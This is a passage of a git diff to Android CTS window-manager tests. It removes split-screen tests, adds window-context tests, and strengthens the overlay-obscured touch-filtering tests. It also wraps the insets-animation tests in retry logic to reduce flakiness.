- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- }
-
- @Test
- public void testRotationWhenDockedWhileLocked() {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertValidity();
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
- final RotationSession rotationSession = createManagedRotationSession();
- final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- for (int i = 0; i < 4; i++) {
- lockScreenSession.sleepDevice();
- // The display may not be rotated while device is locked.
- rotationSession.set(i, false /* waitDeviceRotation */);
- lockScreenSession.wakeUpDevice()
- .unlockDevice();
- mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- }
- }
-
- /**
- * Verify split screen mode visibility after stack resize occurs.
- */
- @Test
- public void testResizePrimarySplitScreen() throws Exception {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
- resizePrimarySplitScreen(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
- mWmState.computeState(
- new WaitForValidActivityState(TEST_ACTIVITY),
- new WaitForValidActivityState(DOCKED_ACTIVITY));
- mWmState.assertContainsStack("Must contain secondary split-screen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain primary split-screen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertVisibility(DOCKED_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
- int restoreW = restoreDockBounds.width();
- int restoreH = restoreDockBounds.height();
- resizePrimarySplitScreen(restoreW, restoreH, restoreW, restoreH);
- }
-
- @Test
- public void testSameProcessActivityResumedPreQ() {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
-
- assertEquals("There must be only one resumed activity in the package.", 1,
- mWmState.getResumedActivitiesCountInPackage(
- SDK_27_TEST_ACTIVITY.getPackageName()));
- }
-
- @Test
- public void testDifferentProcessActivityResumedPreQ() {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
-
- assertEquals("There must be only two resumed activities in the package.", 2,
- mWmState.getResumedActivitiesCountInPackage(
- SDK_27_TEST_ACTIVITY.getPackageName()));
- }
-
- @Test
- public void testDisallowEnterSplitscreenWhenInLockedTask() throws Exception {
- launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
- WindowManagerState.ActivityTask task =
- mWmState.getStandardRootTaskByWindowingMode(
- WINDOWING_MODE_FULLSCREEN).getTopTask();
-
- // Lock the task and ensure that we can't enter split screen
- try {
- runWithShellPermission(() -> {
- mAtm.startSystemLockTaskMode(task.mTaskId);
- });
- waitForOrFail("Task in lock mode", () -> {
- return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
- });
-
- assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
- } finally {
- runWithShellPermission(() -> {
- mAtm.stopSystemLockTaskMode();
- });
- }
- }
-
- private Rect computeNewDockBounds(
- Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
- final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
- // We are either increasing size or reducing it.
- final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
- final Rect newBounds = new Rect(dockBounds);
- if (inLandscape) {
- // In landscape we change the width.
- newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
- } else {
- // In portrait we change the height
- newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
- }
-
- return newBounds;
- }
-
- @Test
- public void testStackListOrderLaunchDockedActivity() throws Exception {
- assumeTrue(!mIsHomeRecentsComponent);
-
- launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-
- final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
- final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
- assertThat("Recents stack should be on top of home stack",
- recentsStackIndex, lessThan(homeStackIndex));
- }
-
-
- /**
- * Asserts that the activity is visible when the top opaque activity finishes and with another
- * translucent activity on top while in split-screen-secondary task.
- */
- @Test
- public void testVisibilityWithTranslucentAndTopFinishingActivity() throws Exception {
- // Launch two activities in split-screen mode.
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
-
- // Launch two more activities on a different task on top of split-screen-secondary and
- // only the top opaque activity should be visible.
- getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
- .setUseInstrumentation()
- .setWaitForLaunched(true)
- .execute();
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setUseInstrumentation()
- .setWaitForLaunched(true)
- .execute();
- mWmState.assertVisibility(TEST_ACTIVITY, true);
- mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
- mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
- mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
-
- // Finish the top opaque activity and both the two activities should be visible.
- mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
- mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
- mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 3b13505..cd9e38c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -59,6 +59,9 @@
@Test
public void testStartHomeIfNoActivities() {
+ if (!hasHomeScreen()) {
+ return;
+ }
final ComponentName defaultHome = getDefaultHomeComponent();
final int[] allActivityTypes = Arrays.copyOf(ALL_ACTIVITY_TYPE_BUT_HOME,
ALL_ACTIVITY_TYPE_BUT_HOME.length + 1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index a115396..96a78cc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -19,7 +19,10 @@
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import android.content.Context;
+import android.hardware.display.DisplayManager;
import android.platform.test.annotations.Presubmit;
+import android.view.Display;
import org.junit.Test;
@@ -37,6 +40,20 @@
mContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
}
+ @Test(expected = IllegalArgumentException.class)
+ public void testWindowContextWithNullDisplay() {
+ final Context displayContext = createDisplayContext(Display.DEFAULT_DISPLAY);
+ displayContext.createWindowContext(null /* display */, TYPE_APPLICATION_OVERLAY,
+ null /* options */);
+ }
+
+ @Test
+ public void testWindowContextWithDisplayOnNonUiContext() {
+ createAllowSystemAlertWindowAppOpSession();
+ final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
+ mContext.createWindowContext(display, TYPE_APPLICATION_OVERLAY, null /* options */);
+ }
+
@Test(expected = UnsupportedOperationException.class)
public void testCreateTooManyWindowContextWithoutViewThrowException() {
createAllowSystemAlertWindowAppOpSession();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
index 83407f6..1587b0f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
@@ -23,14 +23,17 @@
/** Base class for window context tests */
class WindowContextTestBase extends MultiDisplayTestBase {
+ Context createDisplayContext(int displayId) {
+ final Display display = mDm.getDisplay(displayId);
+ return mContext.createDisplayContext(display);
+ }
Context createWindowContext(int displayId) {
return createWindowContext(displayId, TYPE_APPLICATION_OVERLAY);
}
Context createWindowContext(int displayId, int type) {
- final Display display = mDm.getDisplay(displayId);
- return mContext.createDisplayContext(display).createWindowContext(
+ return createDisplayContext(displayId).createWindowContext(
type, null /* options */);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index da8c825..b29807c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -30,6 +30,9 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
@@ -40,6 +43,7 @@
import android.graphics.Color;
import android.graphics.Point;
import android.graphics.Rect;
+import android.hardware.input.InputManager;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
@@ -55,6 +59,7 @@
import android.view.View;
import android.view.WindowInsets;
import android.view.WindowManager;
+import android.view.WindowMetrics;
import androidx.test.rule.ActivityTestRule;
@@ -70,6 +75,7 @@
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Ensure moving windows and tapping is done synchronously.
@@ -87,6 +93,7 @@
private Instrumentation mInstrumentation;
private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
private TestActivity mActivity;
+ private InputManager mInputManager;
private View mView;
private final Random mRandom = new Random(1);
@@ -100,6 +107,7 @@
mInstrumentation = getInstrumentation();
mActivity = mActivityRule.launchActivity(null);
+ mInputManager = mActivity.getSystemService(InputManager.class);
mInstrumentation.waitForIdleSync();
mClickCount = 0;
}
@@ -107,17 +115,18 @@
@Test
public void testMoveWindowAndTap() throws Throwable {
final WindowManager wm = mActivity.getWindowManager();
- Point displaySize = new Point();
- mActivity.getDisplay().getSize(displaySize);
-
final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+ p.setFitInsetsTypes(WindowInsets.Type.systemBars()
+ | WindowInsets.Type.systemGestures());
+ p.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ p.width = p.height = 20;
+ p.gravity = Gravity.LEFT | Gravity.TOP;
// Set up window.
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
- p.width = 20;
- p.height = 20;
- p.gravity = Gravity.LEFT | Gravity.TOP;
+ mView.setBackgroundColor(Color.RED);
mView.setOnClickListener((v) -> {
mClickCount++;
});
@@ -125,11 +134,10 @@
});
mInstrumentation.waitForIdleSync();
- WindowInsets insets = mActivity.getWindow().getDecorView().getRootWindowInsets();
- final Rect windowBounds = new Rect(insets.getSystemWindowInsetLeft(),
- insets.getSystemWindowInsetTop(),
- displaySize.x - insets.getSystemWindowInsetRight(),
- displaySize.y - insets.getSystemWindowInsetBottom());
+ final WindowMetrics windowMetrics = wm.getCurrentWindowMetrics();
+ final WindowInsets windowInsets = windowMetrics.getWindowInsets();
+ final Rect windowBounds = new Rect(windowMetrics.getBounds());
+ windowBounds.inset(windowInsets.getInsetsIgnoringVisibility(p.getFitInsetsTypes()));
// Move the window to a random location in the window and attempt to tap on view multiple
// times.
@@ -148,8 +156,18 @@
mInstrumentation.waitForIdleSync();
if (mClickCount != previousCount + 1) {
+ final int vW = mView.getWidth();
+ final int vH = mView.getHeight();
+ final int[] viewOnScreenXY = new int[2];
+ mView.getLocationOnScreen(viewOnScreenXY);
+ final Point tapPosition =
+ new Point(viewOnScreenXY[0] + vW / 2, viewOnScreenXY[1] + vH / 2);
+ final Rect realBounds = new Rect(viewOnScreenXY[0], viewOnScreenXY[1],
+ viewOnScreenXY[0] + vW, viewOnScreenXY[1] + vH);
+ final Rect requestedBounds = new Rect(p.x, p.y, p.x + p.width, p.y + p.height);
dumpWindows("Dumping windows due to failure");
- fail("Tap #" + i + " on " + locationInWindow + " failed");
+ fail("Tap #" + i + " on " + tapPosition + " failed; realBounds=" + realBounds
+ + " requestedBounds=" + requestedBounds);
}
}
@@ -203,6 +221,7 @@
public void testFilterTouchesWhenObscuredByWindowFromSameUid() throws Throwable {
final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
// Set up a touchable window.
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
@@ -215,6 +234,7 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
return false;
});
@@ -232,6 +252,7 @@
mInstrumentation.waitForIdleSync();
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+ assertTrue(touchReceived.get());
assertEquals(1, mClickCount);
}
@@ -242,6 +263,7 @@
final Intent intent = new Intent();
intent.setComponent(Components.OVERLAY_TEST_SERVICE);
final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
try {
// Set up a touchable window.
mActivityRule.runOnUiThread(() -> {
@@ -255,6 +277,52 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
+ return false;
+ });
+ mActivity.addWindow(mView, p);
+
+ // Set up an overlap window from service, use different process.
+ WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+ params.flags |= FLAG_NOT_TOUCHABLE;
+ // Any opacity higher than this would make InputDispatcher block the touch
+ params.alpha = mInputManager.getMaximumObscuringOpacityForTouch(mActivity);
+ intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+ mActivity.startForegroundService(intent);
+ });
+ mInstrumentation.waitForIdleSync();
+ waitForWindow(windowName);
+ CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+ // Touch not received due to setFilterTouchesWhenObscured(true)
+ assertFalse(touchReceived.get());
+ assertEquals(0, mClickCount);
+ } finally {
+ mActivity.stopService(intent);
+ }
+ }
+
+ @Test
+ public void testFlagTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+ final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+ final Intent intent = new Intent();
+ intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+ final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
+ try {
+ // Set up a touchable window.
+ mActivityRule.runOnUiThread(() -> {
+ mView = new View(mActivity);
+ p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+ p.width = 100;
+ p.height = 100;
+ p.gravity = Gravity.CENTER;
+ mView.setOnClickListener((v) -> {
+ mClickCount++;
+ });
+ mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
return false;
@@ -264,6 +332,8 @@
// Set up an overlap window from service, use different process.
WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
params.flags |= FLAG_NOT_TOUCHABLE;
+ // Any opacity higher than this would make InputDispatcher block the touch
+ params.alpha = mInputManager.getMaximumObscuringOpacityForTouch(mActivity);
intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
mActivity.startForegroundService(intent);
});
@@ -271,7 +341,8 @@
waitForWindow(windowName);
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
- assertEquals(0, mClickCount);
+ assertTrue(touchReceived.get());
+ assertEquals(1, mClickCount);
} finally {
mActivity.stopService(intent);
}
@@ -284,6 +355,7 @@
final Intent intent = new Intent();
intent.setComponent(Components.OVERLAY_TEST_SERVICE);
final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
try {
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
@@ -296,6 +368,7 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
return false;
});
@@ -312,6 +385,7 @@
waitForWindow(windowName);
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+ assertTrue(touchReceived.get());
assertEquals(1, mClickCount);
} finally {
mActivity.stopService(intent);
@@ -325,6 +399,7 @@
final Intent intent = new Intent();
intent.setComponent(Components.OVERLAY_TEST_SERVICE);
final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
try {
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
@@ -337,6 +412,7 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
return false;
@@ -354,6 +430,7 @@
waitForWindow(windowName);
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+ assertTrue(touchReceived.get());
assertEquals(1, mClickCount);
} finally {
mActivity.stopService(intent);
@@ -367,6 +444,7 @@
final Intent intent = new Intent();
intent.setComponent(Components.OVERLAY_TEST_SERVICE);
final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
try {
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
@@ -379,6 +457,7 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED,
ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
return false;
@@ -397,6 +476,7 @@
waitForWindow(windowName);
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+ assertTrue(touchReceived.get());
assertEquals(1, mClickCount);
} finally {
mActivity.stopService(intent);
@@ -411,6 +491,7 @@
final Intent intent = new Intent();
intent.setComponent(Components.OVERLAY_TEST_SERVICE);
final String windowName = "Test Overlay";
+ final AtomicBoolean touchReceived = new AtomicBoolean(false);
try {
mActivityRule.runOnUiThread(() -> {
mView = new View(mActivity);
@@ -423,6 +504,7 @@
mClickCount++;
});
mView.setOnTouchListener((v, ev) -> {
+ touchReceived.set(true);
assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
return false;
});
@@ -441,6 +523,7 @@
waitForWindow(windowName);
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+ assertTrue(touchReceived.get());
assertEquals(1, mClickCount);
} finally {
mActivity.stopService(intent);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 35b06ba..fb1b173 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -57,6 +57,7 @@
import android.view.WindowInsetsAnimation.Callback;
import android.view.WindowInsetsAnimationControlListener;
import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.DecelerateInterpolator;
import android.view.animation.Interpolator;
@@ -72,7 +73,6 @@
import org.junit.After;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ErrorCollector;
import org.junit.runner.RunWith;
@@ -81,12 +81,14 @@
import org.junit.runners.Parameterized.Parameters;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
/**
* Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -109,7 +111,6 @@
List<VerifyingCallback> mCallbacks = new ArrayList<>();
private boolean mLossOfControlExpected;
- @Rule
public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
/**
@@ -135,8 +136,7 @@
}
@Before
- public void setUp() throws Exception {
- super.setUp();
+ public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
final ImeEventStream mockImeEventStream;
if (mType == ime()) {
final Instrumentation instrumentation = getInstrumentation();
@@ -164,6 +164,7 @@
editorMatcher("onStartInput", mActivity.getEditTextMarker()),
TimeUnit.SECONDS.toMillis(10));
}
+ awaitControl(mType);
}
@After
@@ -185,6 +186,7 @@
mMockImeSession.close();
mMockImeSession = null;
}
+ mErrorCollector.verify();
}
private void assumeTestCompatibility() {
@@ -194,180 +196,236 @@
}
}
+ private void awaitControl(int type) throws Throwable {
+ CountDownLatch control = new CountDownLatch(1);
+ OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+ if ((controllableTypes & type) != 0)
+ control.countDown();
+ };
+ runOnUiThread(() -> mRootView.getWindowInsetsController()
+ .addOnControllableInsetsChangedListener(listener));
+ try {
+ if (!control.await(10, TimeUnit.SECONDS)) {
+ fail("Timeout waiting for control of " + type);
+ }
+ } finally {
+ runOnUiThread(() -> mRootView.getWindowInsetsController()
+ .removeOnControllableInsetsChangedListener(listener)
+ );
+ }
+ }
+
+ private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+ try {
+ mErrorCollector.verify();
+ test.run();
+ } catch (CancelledWhileWaitingForReadyException e) {
+ // Deflake cancellations waiting for ready - we'll reset state and try again.
+ runOnUiThread(() -> {
+ mCallbacks.clear();
+ if (mRootView != null) {
+ mRootView.setWindowInsetsAnimationCallback(null);
+ }
+ });
+ mErrorCollector = new LimitedErrorCollector();
+ mListener = new ControlListener(mErrorCollector);
+ awaitControl(mType);
+ test.run();
+ }
+ }
+
@Presubmit
@Test
public void testControl_andCancel() throws Throwable {
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, mCancellationSignal, mListener);
+ retryIfCancelled(() -> {
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, mCancellationSignal, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mCancellationSignal.cancel();
+ });
+
+ mListener.awaitAndAssert(CANCELLED);
+ mListener.assertWasNotCalled(FINISHED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mCancellationSignal.cancel();
- });
-
- mListener.awaitAndAssert(CANCELLED);
- mListener.assertWasNotCalled(FINISHED);
}
@Test
public void testControl_andImmediatelyCancel() throws Throwable {
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, mCancellationSignal, mListener);
- mCancellationSignal.cancel();
- });
+ retryIfCancelled(() -> {
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, mCancellationSignal, mListener);
+ mCancellationSignal.cancel();
+ });
- mListener.assertWasCalled(CANCELLED);
- mListener.assertWasNotCalled(READY);
- mListener.assertWasNotCalled(FINISHED);
+ mListener.assertWasCalled(CANCELLED);
+ mListener.assertWasNotCalled(READY);
+ mListener.assertWasNotCalled(FINISHED);
+ });
}
@Presubmit
@Test
public void testControl_immediately_show() throws Throwable {
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mListener.mController.finish(true);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mListener.mController.finish(true);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_immediately_hide() throws Throwable {
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mListener.mController.finish(false);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mListener.mController.finish(false);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_show() throws Throwable {
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_hide() throws Throwable {
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_show_interpolator() throws Throwable {
- mInterpolator = new DecelerateInterpolator();
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ mInterpolator = new DecelerateInterpolator();
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_hide_interpolator() throws Throwable {
- mInterpolator = new AccelerateInterpolator();
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ mInterpolator = new AccelerateInterpolator();
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
